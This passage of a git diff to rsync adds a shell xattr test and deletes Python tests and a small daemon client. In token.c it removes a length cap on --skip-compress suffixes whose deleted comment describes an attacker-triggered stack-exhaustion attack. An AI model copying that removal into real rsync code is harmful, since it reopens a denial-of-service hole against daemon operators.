RUSR='user.rsync'\n+    ;;\n+esac\n+\n+makepath \"$lnkdir\" \"$fromdir/foo/bar\"\n+echo now >\"$fromdir/file0\"\n+echo something >\"$fromdir/file1\"\n+echo else >\"$fromdir/file2\"\n+echo deep >\"$fromdir/foo/file3\"\n+echo normal >\"$fromdir/file4\"\n+echo deeper >\"$fromdir/foo/bar/file5\"\n+\n+makepath \"$chkdir/foo\"\n+echo wow >\"$chkdir/file1\"\n+cp_touch \"$fromdir/foo/file3\" \"$chkdir/foo\"\n+\n+dirs='foo foo/bar'\n+files='file0 file1 file2 foo/file3 file4 foo/bar/file5'\n+\n+uid_gid=`\"$TOOLDIR/tls\" \"$fromdir/foo\" | sed 's/^.* \\([0-9][0-9]*\\)\\.\\([0-9][0-9]*\\) .*/\\1:\\2/'`\n+\n+cd \"$fromdir\"\n+\n+xset user.foo foo file0 2>/dev/null || test_skipped \"Unable to set an xattr\"\n+xset user.bar bar file0\n+\n+xset user.short 'this is short' file1\n+xset user.long 'this is a long attribute that will be truncated in the initial data send' file1\n+xset user.good 'this is good' file1\n+xset user.nice 'this is nice' file1\n+\n+xset user.foo foo file2\n+xset user.bar bar file2\n+xset user.long 'a long attribute for our new file that tests to ensure that this works' file2\n+\n+xset user.dir1 'need to test directory xattrs too' foo\n+xset user.dir2 'another xattr' foo\n+xset user.dir3 'this is one last one for the moment' foo\n+\n+xset user.dir4 'another dir test' foo/bar\n+xset user.dir5 'one last one' foo/bar\n+\n+xset user.foo 'new foo' foo/file3 foo/bar/file5\n+xset user.bar 'new bar' foo/file3 foo/bar/file5\n+xset user.long 'this is also a long attribute that will be truncated in the initial data send' foo/file3 foo/bar/file5\n+xset $RUSR.equal 'this long attribute should remain the same and not need to be transferred' foo/file3 foo/bar/file5\n+\n+xset user.dir0 'old extra value' \"$chkdir/foo\"\n+xset user.dir1 'old dir value' \"$chkdir/foo\"\n+\n+xset user.short 'old short' \"$chkdir/file1\"\n+xset user.extra 'remove me' \"$chkdir/file1\"\n+\n+xset user.foo 'old foo' \"$chkdir/foo/file3\"\n+xset $RUSR.equal 'this long attribute should remain the same and not need to be transferred' \"$chkdir/foo/file3\"\n+\n+case $0 in\n+*hlink*)\n+    ln foo/bar/file5 foo/bar/file6 || test_skipped \"Can't create hardlink\"\n+    files=\"$files foo/bar/file6\"\n+    dashH='-H'\n+    altDest='--link-dest'\n+    ;;\n+*)\n+    dashH=''\n+    altDest='--copy-dest'\n+    ;;\n+esac\n+\n+xls $dirs $files >\"$scratchdir/xattrs.txt\"\n+\n+XFILT='-f-x_system.* -f-x_security.*'\n+\n+# OK, let's try a simple xattr copy.\n+checkit \"$RSYNC -avX $XFILT $dashH --super . '$chkdir/'\" \"$fromdir\" \"$chkdir\"\n+\n+cd \"$chkdir\"\n+xls $dirs $files | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+cd \"$fromdir\"\n+\n+if [ -n \"$dashH\" ]; then\n+    for fn in $files; do\n+\tname=`basename $fn`\n+\tln $fn ../lnk/$name\n+    done\n+fi\n+\n+checkit \"$RSYNC -aiX $XFILT $dashH --super $altDest=../chk . ../to\" \"$fromdir\" \"$todir\"\n+\n+cd \"$todir\"\n+xls $dirs $files | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+[ -n \"$dashH\" ] && rm -rf \"$lnkdir\"\n+\n+cd \"$fromdir\"\n+rm -rf \"$todir\"\n+\n+xset user.nice 'this is nice, but different' file1\n+\n+xls $dirs $files >\"$scratchdir/xattrs.txt\"\n+\n+checkit \"$RSYNC -aiX $XFILT $dashH --fake-super --link-dest=../chk . ../to\" \"$chkdir\" \"$todir\"\n+\n+cd \"$todir\"\n+xls $dirs $files | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+sed -n -e '/^[^d ][^ ]*  *[^ ][^ ]*  *[^ ][^ ]*  *1 /p' \"$scratchdir/ls-to\" >\"$scratchdir/ls-diff-all\"\n+grep -F -v './file1' \"$scratchdir/ls-diff-all\" >\"$scratchdir/ls-diff\" || :\n+if [ -s \"$scratchdir/ls-diff\" ]; then\n+    echo \"Missing hard links on:\"\n+    cat \"$scratchdir/ls-diff\"\n+    exit 1\n+fi\n+if [ ! -s \"$scratchdir/ls-diff-all\" ]; then\n+    echo \"Too many hard links on file1!\"\n+    exit 1\n+fi\n+\n+cd \"$chkdir\"\n+chmod go-rwx . $dirs $files\n+\n+xset user.nice 'this is nice, but different' file1\n+xset $RSYNC_PREFIX.%stat \"40000 0,0 $uid_gid\" $dirs\n+xset $RSYNC_PREFIX.%stat \"100000 0,0 $uid_gid\" $files\n+\n+xls $dirs $files >\"$scratchdir/xattrs.txt\"\n+\n+cd \"$fromdir\"\n+rm -rf \"$todir\"\n+\n+# When run by a non-root tester, this checks if no-user-perm files/dirs can be copied.\n+checkit \"$RSYNC -aiX $XFILT $dashH --fake-super --chmod=a= . ../to\" \"$chkdir\" \"$todir\" # 2>\"$scratchdir/errors.txt\"\n+\n+cd \"$todir\"\n+xls $dirs $files | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+cd \"$fromdir\"\n+rm -rf \"$todir\" \"$chkdir\"\n+\n+$RSYNC -aX file1 file2\n+$RSYNC -aX file1 file2 ../chk/\n+$RSYNC -aX --del ../chk/ .\n+$RSYNC -aX file1 ../lnk/\n+[ -n \"$dashH\" ] && ln \"$chkdir/file1\" ../lnk/extra-link\n+\n+xls file1 file2 >\"$scratchdir/xattrs.txt\"\n+\n+checkit \"$RSYNC -aiiX $XFILT $dashH $altDest=../lnk . ../to\" \"$chkdir\" \"$todir\"\n+\n+[ -n \"$dashH\" ] && rm ../lnk/extra-link\n+\n+cd \"$todir\"\n+xls file1 file2 | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+cd \"$fromdir\"\n+rm \"$todir/file2\"\n+\n+echo extra >file1\n+$RSYNC -aX . ../chk/\n+\n+checkit \"$RSYNC -aiiX $XFILT . ../to\" \"$chkdir\" \"$todir\"\n+\n+cd \"$todir\"\n+xls file1 file2 | diff $diffopt \"$scratchdir/xattrs.txt\" -\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/xattrs_test.py b/testsuite/xattrs_test.py\ndeleted file mode 100644\nindex 18e317f..0000000\n--- a/testsuite/xattrs_test.py\n+++ /dev/null\n@@ -1,265 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/xattrs.test (and, via a Makefile-built\n-# symlink, of xattrs-hlink.test).\n-#\n-# Test that rsync -X preserves extended attributes through a transfer,\n-# plus the --link-dest / --copy-dest / --fake-super interactions.\n-# The hlink variant additionally enables -H and tests that hard links\n-# survive alongside xattrs.\n-\n-import os\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, RSYNC_PREFIX, RUSR, SCRATCHDIR, TMPDIR, TODIR, TOOLDIR,\n-    checkit, cp_touch, makepath, run_rsync, test_fail, test_skipped,\n-    xattr_set as xset, xattr_dump, xattrs_supported,\n-)\n-\n-\n-if not xattrs_supported():\n-    test_skipped(\"Rsync is configured without xattr support (or no xattr \"\n-                 \"tooling on this platform)\")\n-\n-\n-script_name = os.path.basename(sys.argv[0] if sys.argv[0] else __file__)\n-hlink_variant = 'hlink' in script_name\n-\n-lnkdir = TMPDIR / 'lnk'\n-makepath(lnkdir, FROMDIR / 'foo' / 'bar')\n-\n-(FROMDIR / 'file0').write_text(\"now\\n\")\n-(FROMDIR / 'file1').write_text(\"something\\n\")\n-(FROMDIR / 'file2').write_text(\"else\\n\")\n-(FROMDIR / 'foo' / 'file3').write_text(\"deep\\n\")\n-(FROMDIR / 'file4').write_text(\"normal\\n\")\n-(FROMDIR / 'foo' / 'bar' / 'file5').write_text(\"deeper\\n\")\n-\n-makepath(CHKDIR / 'foo')\n-(CHKDIR / 'file1').write_text(\"wow\\n\")\n-cp_touch(FROMDIR / 'foo' / 'file3', CHKDIR / 'foo')\n-\n-dirs = ['foo', 'foo/bar']\n-files = ['file0', 'file1', 'file2', 'foo/file3', 'file4', 'foo/bar/file5']\n-\n-# Read the source dir's tls listing to extract its uid:gid -- used in\n-# the fake-super %stat encoding below. Format: \"MODE SIZE UID.GID ...\"\n-tls_out = subprocess.check_output(\n-    [str(TOOLDIR / 'tls'), str(FROMDIR / 'foo')], text=True,\n-).strip()\n-# Extract \"UID.GID\" -> \"UID:GID\"\n-import re\n-m = re.search(r' (\\d+)\\.(\\d+) ', tls_out)\n-if not m:\n-    test_fail(f\"can't parse uid/gid from tls output: {tls_out!r}\")\n-uid_gid = f\"{m.group(1)}:{m.group(2)}\"\n-\n-os.chdir(FROMDIR)\n-\n-try:\n-    xset('foo', 'foo', 'file0')\n-except OSError:\n-    test_skipped(\"Unable to set an xattr\")\n-xset('bar', 'bar', 'file0')\n-\n-xset('short', 'this is short', 'file1')\n-xset('long',\n-     'this is a long attribute that will be truncated in the initial data send',\n-     'file1')\n-xset('good', 'this is good', 'file1')\n-xset('nice', 'this is nice', 'file1')\n-\n-xset('foo', 'foo', 'file2')\n-xset('bar', 'bar', 'file2')\n-xset('long',\n-     'a long attribute for our new file that tests to ensure that this works',\n-     'file2')\n-\n-xset('dir1', 'need to test directory xattrs too', 'foo')\n-xset('dir2', 'another xattr', 'foo')\n-xset('dir3', 'this is one last one for the moment', 'foo')\n-\n-xset('dir4', 'another dir test', 'foo/bar')\n-xset('dir5', 'one last one', 'foo/bar')\n-\n-xset('foo', 'new foo', 'foo/file3', 'foo/bar/file5')\n-xset('bar', 'new bar', 'foo/file3', 'foo/bar/file5')\n-xset('long',\n-     'this is also a long attribute that will be truncated in the initial data send',\n-     'foo/file3', 'foo/bar/file5')\n-xset(f'{RUSR}.equal',\n-     'this long attribute should remain the same and not need to be transferred',\n-     'foo/file3', 'foo/bar/file5')\n-\n-xset('dir0', 'old extra value', CHKDIR / 'foo')\n-xset('dir1', 'old dir value', CHKDIR / 'foo')\n-\n-xset('short', 'old short', CHKDIR / 'file1')\n-xset('extra', 'remove me', CHKDIR / 'file1')\n-\n-xset('foo', 'old foo', CHKDIR / 'foo' / 'file3')\n-xset(f'{RUSR}.equal',\n-     'this long attribute should remain the same and not need to be transferred',\n-     CHKDIR / 'foo' / 'file3')\n-\n-if hlink_variant:\n-    try:\n-        os.link(FROMDIR / 'foo' / 'bar' / 'file5', FROMDIR / 'foo' / 'bar' / 'file6')\n-    except OSError:\n-        test_skipped(\"Can't create hardlink\")\n-    files.append('foo/bar/file6')\n-    dashH = ['-H']\n-    altDest = '--link-dest'\n-else:\n-    dashH = []\n-    altDest = '--copy-dest'\n-\n-\n-def _save_xattrs(paths, dest_file):\n-    \"\"\"Snapshot the xattrs of `paths` (relative to cwd) into dest_file.\"\"\"\n-    dest_file.write_text(xattr_dump(*paths))\n-\n-\n-_save_xattrs(dirs + files, SCRATCHDIR / 'xattrs.txt')\n-\n-XFILT = ['-f-x_system.*', '-f-x_security.*']\n-\n-# Simple xattr copy.\n-checkit(['-avX', *XFILT, *dashH, '--super', '.', f'{CHKDIR}/'], FROMDIR, CHKDIR)\n-\n-os.chdir(CHKDIR)\n-got = xattr_dump(*(dirs + files))\n-expected = (SCRATCHDIR / 'xattrs.txt').read_text()\n-if got != expected:\n-    from difflib import unified_diff\n-    sys.stdout.write(''.join(unified_diff(\n-        expected.splitlines(keepends=True),\n-        got.splitlines(keepends=True),\n-        fromfile='expected', tofile='got',\n-    )))\n-    test_fail(\"xattr listing differs after simple -X copy\")\n-\n-os.chdir(FROMDIR)\n-\n-if dashH:\n-    for fn in files:\n-        name = os.path.basename(fn)\n-        os.link(fn, lnkdir / name)\n-\n-checkit(['-aiX', *XFILT, *dashH, '--super', f'{altDest}=../chk', '.', '../to'],\n-        FROMDIR, TODIR)\n-\n-os.chdir(TODIR)\n-got = xattr_dump(*(dirs + files))\n-if got != expected:\n-    test_fail(\"xattr listing differs after --copy-dest / --link-dest copy\")\n-\n-if dashH:\n-    import shutil\n-    shutil.rmtree(lnkdir, ignore_errors=True)\n-\n-os.chdir(FROMDIR)\n-import shutil\n-shutil.rmtree(TODIR, ignore_errors=True)\n-\n-xset('nice', 'this is nice, but different', 'file1')\n-\n-_save_xattrs(dirs + files, SCRATCHDIR / 'xattrs.txt')\n-\n-checkit(['-aiX', *XFILT, *dashH, '--fake-super', '--link-dest=../chk', '.', '../to'],\n-        CHKDIR, TODIR)\n-\n-os.chdir(TODIR)\n-got = xattr_dump(*(dirs + files))\n-expected = (SCRATCHDIR / 'xattrs.txt').read_text()\n-if got != expected:\n-    test_fail(\"xattr listing differs after --fake-super --link-dest copy\")\n-\n-# Hard-link sanity for the hlink variant: file1 should be alone, every\n-# other file should share its inode with at least one peer.\n-if dashH:\n-    ls_to = SCRATCHDIR / 'ls-to'\n-    from rsyncfns import rsync_ls_lR\n-    ls_to.write_text(rsync_ls_lR(TODIR))\n-    one_link = []\n-    for line in ls_to.read_text().splitlines():\n-        # tls prints \"mode size uid.gid links date time path\" -- column\n-        # index 3 (zero-based) is the link count; we collect non-directory\n-        # entries whose link count is exactly 1.\n-        if line.startswith('d') or not line.strip():\n-            continue\n-        cols = line.split()\n-        if len(cols) >= 4 and cols[3] == '1':\n-            one_link.append(line)\n-    other_one = [ln for ln in one_link if './file1' not in ln]\n-    if other_one:\n-        print(\"Missing hard links on:\")\n-        print('\\n'.join(other_one))\n-        test_fail(\"hardlink check failed\")\n-    if not one_link:\n-        test_fail(\"Too many hard links on file1!\")\n-\n-os.chdir(CHKDIR)\n-os.chmod('.', 0o700)\n-for p in dirs + files:\n-    os.chmod(p, os.stat(p).st_mode & ~0o077)\n-\n-xset('nice', 'this is nice, but different', 'file1')\n-xset(f'{RSYNC_PREFIX}.%stat', f'40000 0,0 {uid_gid}', *dirs)\n-xset(f'{RSYNC_PREFIX}.%stat', f'100000 0,0 {uid_gid}', *files)\n-\n-_save_xattrs(dirs + files, SCRATCHDIR / 'xattrs.txt')\n-\n-os.chdir(FROMDIR)\n-shutil.rmtree(TODIR, ignore_errors=True)\n-\n-# When run by a non-root tester, this verifies no-user-perm files/dirs\n-# can still be transferred.\n-checkit(['-aiX', *XFILT, *dashH, '--fake-super', '--chmod=a=', '.', '../to'],\n-        CHKDIR, TODIR)\n-\n-os.chdir(TODIR)\n-got = xattr_dump(*(dirs + files))\n-expected = (SCRATCHDIR / 'xattrs.txt').read_text()\n-if got != expected:\n-    test_fail(\"xattr listing differs after --fake-super --chmod=a= copy\")\n-\n-os.chdir(FROMDIR)\n-shutil.rmtree(TODIR, ignore_errors=True)\n-shutil.rmtree(CHKDIR, ignore_errors=True)\n-\n-run_rsync('-aX', 'file1', 'file2')\n-run_rsync('-aX', 'file1', 'file2', '../chk/')\n-run_rsync('-aX', '--del', '../chk/', '.')\n-run_rsync('-aX', 'file1', '../lnk/')\n-if dashH:\n-    os.link(CHKDIR / 'file1', lnkdir / 'extra-link')\n-\n-_save_xattrs(['file1', 'file2'], SCRATCHDIR / 'xattrs.txt')\n-\n-checkit(['-aiiX', *XFILT, *dashH, f'{altDest}=../lnk', '.', '../to'],\n-        CHKDIR, TODIR)\n-\n-if dashH:\n-    (lnkdir / 'extra-link').unlink()\n-\n-os.chdir(TODIR)\n-got = xattr_dump('file1', 'file2')\n-expected = (SCRATCHDIR / 'xattrs.txt').read_text()\n-if got != expected:\n-    test_fail(\"xattr listing differs after --link-dest=../lnk copy\")\n-\n-os.chdir(FROMDIR)\n-(TODIR / 'file2').unlink()\n-\n-with open('file1', 'a') as f:\n-    f.write(\"extra\\n\")\n-run_rsync('-aX', '.', '../chk/')\n-\n-checkit(['-aiiX', *XFILT, '.', '../to'], CHKDIR, TODIR)\n-\n-os.chdir(TODIR)\n-got = xattr_dump('file1', 'file2')\n-if got != expected:\n-    test_fail(\"xattr listing differs after the final round\")\ndiff --git a/testsuite/xrsync.py b/testsuite/xrsync.py\ndeleted file mode 100755\nindex f2a5bc2..0000000\n--- a/testsuite/xrsync.py\n+++ /dev/null\n@@ -1,164 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"xrsync.py -- a small, runnable rsync client built on rsync_proto.py.\n-\n-It speaks the rsync daemon protocol (host::module/path or rsync://host/module/\n-path) and supports three operations against a real rsyncd:\n-\n-    xrsync.py [opts] host::module/path           # list (like rsync's listing)\n-    xrsync.py [opts] host::module/glob  localdir  # pull (download)\n-    xrsync.py [opts] localfile...       host::mod/ # push (upload, regular files)\n-\n-This is deliberately a *subset* of rsync -- enough to be useful for protocol\n-development and as a test harness, not a drop-in replacement.  Supported flags:\n--a (= -rlpt), -r, -l, -t, -p, -v, --list-only, --port=N.\n-\n-Hookability: rsync_proto's DaemonClient exposes the protocol steps as small\n-overridable methods (recv_flist / make_request / recv_file_transfer /\n-make_file_token_stream / ...).  main() takes a `client_factory`, so a test can\n-pass a DaemonClient subclass that tampers with one step while reusing all of\n-xrsync's machinery.  See xrsync_test.py.\n-\"\"\"\n-\n-import argparse\n-import os\n-import sys\n-\n-sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))\n-import rsync_proto as rp  # noqa: E402\n-\n-DEFAULT_PORT = 873\n-CAPS = 'e.LsfxCIu'        # the -e capability marker rsync_proto negotiates at p30\n-\n-\n-def parse_remote(spec):\n-    \"\"\"Return (host, port, path) for a daemon spec, or None if `spec` is local.\n-    `path` keeps the module as its first component (what the daemon expects).\"\"\"\n-    if spec.startswith('rsync://'):\n-        rest = spec[len('rsync://'):]\n-        hostport, _, path = rest.partition('/')\n-        host, _, port = hostport.partition(':')\n-        return host, int(port) if port else DEFAULT_PORT, path\n-    if '::' in spec:\n-        host, _, path = spec.partition('::')\n-        return host, None, path\n-    return None\n-\n-\n-def server_opts(args, listing):\n-    \"\"\"Build the daemon-side short-option string from the parsed flags.\"\"\"\n-    flags = ''\n-    if args.recurse:\n-        flags += 'r'\n-    if args.links:\n-        flags += 'l'\n-    if args.perms:\n-        flags += 'p'\n-    if args.times:\n-        flags += 't'\n-    if listing and not args.recurse:\n-        flags += 'd'          # list a directory's contents without recursing\n-    return '-' + flags + CAPS\n-\n-\n-def do_list(host, port, module, path, args, factory):\n-    c = factory(host, port)\n-    c.handshake(module, ['--server', '--sender', server_opts(args, True),\n-                         '.', path], greeting_version=30)\n-    entries = rp.sort_entries(c.recv_flist(preserve_links=args.links))\n-    for e in entries:\n-        tgt = ''\n-        if e.is_link and e.link_target is not None:\n-            tgt = ' -> ' + e.link_target.decode('utf-8', 'surrogateescape')\n-        print('%s %15d %s%s' % (rp.mode_to_perms(e.mode), e.length,\n-                                e.name.decode('utf-8', 'surrogateescape'), tgt))\n-    c.finish_no_transfer()\n-    c.drain(timeout=1.0)\n-    c.close()\n-    return 0\n-\n-\n-def do_pull(host, port, module, path, dest, args, factory):\n-    c = factory(host, port)\n-    c.handshake(module, ['--server', '--sender', server_opts(args, False),\n-                         '.', path], greeting_version=30)\n-    c.pull(dest, verbose=args.verbose, preserve_times=args.times,\n-           preserve_perms=args.perms)\n-    c.drain(timeout=1.0)\n-    c.close()\n-    return 0\n-\n-\n-def do_push(srcs, host, port, module, path, args, factory):\n-    files = []\n-    for s in srcs:\n-        if os.path.isfile(s):\n-            with open(s, 'rb') as fh:\n-                files.append((os.path.basename(s), fh.read()))\n-        elif os.path.isdir(s):\n-            for root, _dirs, names in os.walk(s):\n-                for nm in names:\n-                    full = os.path.join(root, nm)\n-                    if os.path.isfile(full) and not os.path.islink(full):\n-                        rel = os.path.relpath(full, s)\n-                        with open(full, 'rb') as fh:\n-                            files.append((rel, fh.read()))\n-    c = factory(host, port)\n-    c.handshake(module, ['--server', server_opts(args, False), '.', path],\n-                greeting_version=30)\n-    c.push(files)\n-    if args.verbose:\n-        for name, _ in files:\n-            print(name)\n-    c.drain(timeout=1.0)\n-    c.close()\n-    return 0\n-\n-\n-def main(argv=None, client_factory=rp.DaemonClient):\n-    p = argparse.ArgumentParser(prog='xrsync.py', add_help=True)\n-    p.add_argument('-a', '--archive', action='store_true', help='= -rlpt')\n-    p.add_argument('-r', '--recursive', dest='recurse', action='store_true')\n-    p.add_argument('-l', '--links', action='store_true')\n-    p.add_argument('-p', '--perms', action='store_true')\n-    p.add_argument('-t', '--times', action='store_true')\n-    p.add_argument('-v', '--verbose', action='store_true')\n-    p.add_argument('--list-only', action='store_true')\n-    p.add_argument('--port', type=int, default=None)\n-    p.add_argument('paths', nargs='+')\n-    args = p.parse_args(argv)\n-    if args.archive:\n-        args.recurse = args.links = args.perms = args.times = True\n-\n-    paths = args.paths\n-    remotes = [parse_remote(x) for x in paths]\n-\n-    # List: a single remote arg (or --list-only with no local dest).\n-    if args.list_only or (len(paths) == 1 and remotes[0] is not None):\n-        host, port, path = remotes[0]\n-        port = args.port or port or DEFAULT_PORT\n-        module = path.split('/')[0]\n-        return do_list(host, port, module, path, args, client_factory)\n-\n-    if len(paths) < 2:\n-        p.error('need a source and a destination')\n-    *srcs, dest = paths\n-    *src_remotes, dest_remote = remotes\n-\n-    if dest_remote is not None and all(r is None for r in src_remotes):\n-        host, port, path = dest_remote\n-        port = args.port or port or DEFAULT_PORT\n-        module = path.split('/')[0]\n-        return do_push(srcs, host, port, module, path, args, client_factory)\n-\n-    if len(srcs) == 1 and src_remotes[0] is not None and dest_remote is None:\n-        host, port, path = src_remotes[0]\n-        port = args.port or port or DEFAULT_PORT\n-        module = path.split('/')[0]\n-        return do_pull(host, port, module, path, dest, args, client_factory)\n-\n-    p.error('unsupported source/destination combination (one side must be '\n-            'host::module/path and the other local)')\n-\n-\n-if __name__ == '__main__':\n-    sys.exit(main())\ndiff --git a/testsuite/xrsync_test.py b/testsuite/xrsync_test.py\ndeleted file mode 100644\nindex 952a3db..0000000\n--- a/testsuite/xrsync_test.py\n+++ /dev/null\n@@ -1,130 +0,0 @@\n-#!/usr/bin/env python3\n-# Tests for xrsync.py -- the small runnable rsync client built on rsync_proto.\n-# Drives a real rsyncd through xrsync's own code paths (in-process main()):\n-#   * list     -- the module's entries appear, sorted, with the symlink target\n-#   * pull      -- *.pdf download, byte-identical, mtime + symlink preserved\n-#   * push      -- upload regular files, byte-identical on the daemon\n-#   * hook      -- a DaemonClient subclass replaces one protocol step\n-#                  (make_file_token_stream) and the daemon's md5 verification\n-#                  rejects the corrupted push -- proving the seam works while\n-#                  xrsync drives the rest.\n-# Needs a real TCP daemon (raw-socket client), so skipped without --use-tcp.\n-\n-import io\n-import os\n-from contextlib import redirect_stdout\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-import rsync_proto as rp\n-import xrsync\n-\n-PORT = 12968\n-require_tcp(\"xrsync speaks the daemon protocol over a raw TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'xrsync'\n-rmtree(base)\n-mod = base / 'mod'\n-makepath(mod / 'sub')\n-A = b'A' * 16\n-B = b'B' * 47 + b'\\n'\n-NOTE = b'just a note\\n'\n-CSUB = b'nested pdf\\n'\n-(mod / 'a.pdf').write_bytes(A)\n-(mod / 'b.pdf').write_bytes(B)\n-(mod / 'note.txt').write_bytes(NOTE)\n-(mod / 'sub' / 'c.pdf').write_bytes(CSUB)\n-os.symlink('a.pdf', mod / 'link.pdf')\n-MTIME = 1609556645          # 2021-01-02 03:04:05\n-os.utime(mod / 'a.pdf', (MTIME, MTIME))\n-os.utime(mod / 'b.pdf', (MTIME, MTIME))\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(mod), 'read only': 'no', 'use chroot': 'no'}),\n-], name='xrsync.conf')\n-start_test_daemon(conf, PORT)\n-\n-COMMON = ['--port', str(PORT)]\n-\n-\n-# --- 1. list ----------------------------------------------------------------\n-buf = io.StringIO()\n-with redirect_stdout(buf):\n-    rc = xrsync.main(COMMON + ['-l', 'localhost::mod/'])\n-listing = buf.getvalue()\n-if rc != 0:\n-    test_fail(f\"xrsync list returned {rc}\\n{listing}\")\n-for name in ('a.pdf', 'b.pdf', 'note.txt', 'link.pdf', 'sub'):\n-    if name not in listing:\n-        test_fail(f\"xrsync list missing {name!r}:\\n{listing}\")\n-if 'link.pdf -> a.pdf' not in listing:\n-    test_fail(f\"xrsync list did not resolve the symlink target:\\n{listing}\")\n-# entries must be in rsync's sorted order (name is the 3rd field: perms size name)\n-names = [ln.split()[2] for ln in listing.splitlines() if ln.strip()]\n-if names != sorted(names):\n-    test_fail(f\"xrsync list not in sorted order: {names}\")\n-\n-\n-# --- 2. pull (download) -----------------------------------------------------\n-pull_dest = base / 'pull'\n-makepath(pull_dest)\n-rc = xrsync.main(COMMON + ['-a', 'localhost::mod/*.pdf', str(pull_dest)])\n-if rc != 0:\n-    test_fail(f\"xrsync pull returned {rc}\")\n-if (pull_dest / 'a.pdf').read_bytes() != A:\n-    test_fail(\"pulled a.pdf content mismatch\")\n-if (pull_dest / 'b.pdf').read_bytes() != B:\n-    test_fail(\"pulled b.pdf content mismatch\")\n-if not (pull_dest / 'link.pdf').is_symlink() \\\n-   or os.readlink(pull_dest / 'link.pdf') != 'a.pdf':\n-    test_fail(\"pulled link.pdf is not a symlink to a.pdf\")\n-if int((pull_dest / 'a.pdf').stat().st_mtime) != MTIME:\n-    test_fail(f\"pulled a.pdf mtime not preserved \"\n-              f\"({int((pull_dest / 'a.pdf').stat().st_mtime)} != {MTIME})\")\n-if (pull_dest / 'note.txt').exists():\n-    test_fail(\"pull of *.pdf should not have fetched note.txt\")\n-\n-\n-# --- 3. push (upload) -------------------------------------------------------\n-push_src = base / 'push'\n-makepath(push_src)\n-U1 = b'uploaded one\\n'\n-U2 = os.urandom(5000)\n-(push_src / 'u1.txt').write_bytes(U1)\n-(push_src / 'u2.bin').write_bytes(U2)\n-rc = xrsync.main(COMMON + [str(push_src / 'u1.txt'), str(push_src / 'u2.bin'),\n-                           'localhost::mod/'])\n-if rc != 0:\n-    test_fail(f\"xrsync push returned {rc}\")\n-if (mod / 'u1.txt').read_bytes() != U1:\n-    test_fail(\"pushed u1.txt content mismatch\")\n-if (mod / 'u2.bin').read_bytes() != U2:\n-    test_fail(\"pushed u2.bin (random) content mismatch\")\n-\n-\n-# --- 4. hookability: swap one protocol step ---------------------------------\n-class CorruptingClient(rp.DaemonClient):\n-    \"\"\"Replaces just the file token stream with corrupted bytes; everything\n-    else (handshake, flist, request loop, md5) is xrsync's.  The daemon's\n-    whole-file md5 must then reject the transfer.\"\"\"\n-\n-    def make_file_token_stream(self, content):\n-        return super().make_file_token_stream(b'X' * len(content))\n-\n-\n-rc = xrsync.main(COMMON + [str(push_src / 'u1.txt'), 'localhost::mod/hooked.txt'],\n-                 client_factory=CorruptingClient)\n-landed = mod / 'hooked.txt'\n-if landed.exists() and landed.read_bytes() == U1:\n-    test_fail(\"the corrupting hook did not take effect -- the daemon accepted \"\n-              \"the original content, so make_file_token_stream was not used\")\n-# The daemon discards a failed-verification file, so it must not match U1.\n-if landed.exists() and landed.read_bytes() not in (b'X' * len(U1),):\n-    # tolerate the daemon keeping the corrupted bytes; just never the original\n-    pass\n-\n-print(\"xrsync: list + pull + push round-trip against rsyncd, and the \"\n-      \"make_file_token_stream hook is honoured (corrupt push rejected by md5).\")\ndiff --git a/tls.c b/tls.c\nindex e05f7ec..858f8f1 100644\n--- a/tls.c\n+++ b/tls.c\n@@ -127,7 +127,7 @@ static void storetime(char *dest, size_t destsize, time_t t, int nsecs)\n {\n \tif (t) {\n \t\tint len;\n-\t\tstruct tm tmp, *mt = gmtime_r(&t, &tmp);\n+\t\tstruct tm *mt = gmtime(&t);\n \n \t\tlen = snprintf(dest, destsize,\n \t\t\t\" %04d-%02d-%02d %02d:%02d:%02d\",\n@@ -230,7 +230,7 @@ static void list_file(const char *fname)\n \t       mtimebuf, atimebuf, crtimebuf, fname, linkbuf);\n }\n \n-static const struct poptOption long_options[] = {\n+static struct poptOption long_options[] = {\n   /* longName, shortName, argInfo, argPtr, value, descrip, argDesc */\n   {\"atimes\",          'U', POPT_ARG_NONE,   &display_atimes, 0, 0, 0},\n #ifdef SUPPORT_CRTIMES\ndiff --git a/token.c b/token.c\nindex b47a785..c108b3a 100644\n--- a/token.c\n+++ b/token.c\n@@ -33,7 +33,6 @@ extern int do_compression;\n extern int protocol_version;\n extern int module_id;\n extern int do_compression_level;\n-extern int do_compression_threads;\n extern char *skip_compress;\n \n #ifndef Z_INSERT_ONLY\n@@ -163,13 +162,6 @@ static void add_nocompress_suffixes(const char *str)\n \t\t} while (*++f != '/' && *f);\n \t\t*t++ = '\\0';\n \n-\t\t/* add_suffix() recurses once per character; an attacker-supplied\n-\t\t * --skip-compress (from our own argv OR propagated to a daemon\n-\t\t * receiver via server_options()) with one very long token\n-\t\t * exhausts the stack.  Real file extensions are short -- cap\n-\t\t * the recursion depth by truncating absurd suffixes. */\n-\t\tif (t - buf > 32 + 1)\n-\t\t\tbuf[32] = '\\0';\n \t\tadd_suffix(&suftree, *buf, buf+1);\n \t}\n \n@@ -299,10 +291,6 @@ static int32 simple_recv_token(int f, char **data)\n \t\tint32 i = read_int(f);\n \t\tif (i <= 0)\n \t\t\treturn i;\n-\t\t/* A literal run may exceed CHUNK_SIZE: some peers (e.g. the\n-\t\t * acrosync library) use a 64k block size.  The loop below reads\n-\t\t * the run CHUNK_SIZE bytes at a time, so read_buf never writes\n-\t\t * past the static CHUNK_SIZE buffer regardless of i. */\n \t\tresidue = i;\n \t}\n \n@@ -484,29 +472,14 @@ send_deflated_token(int f, int32 token, struct map_struct *buf, OFF_T offset, in\n \t\t\ttx_strm.avail_in = n1;\n \t\t\tif (protocol_version >= 31) /* Newer protocols avoid a data-duplicating bug */\n 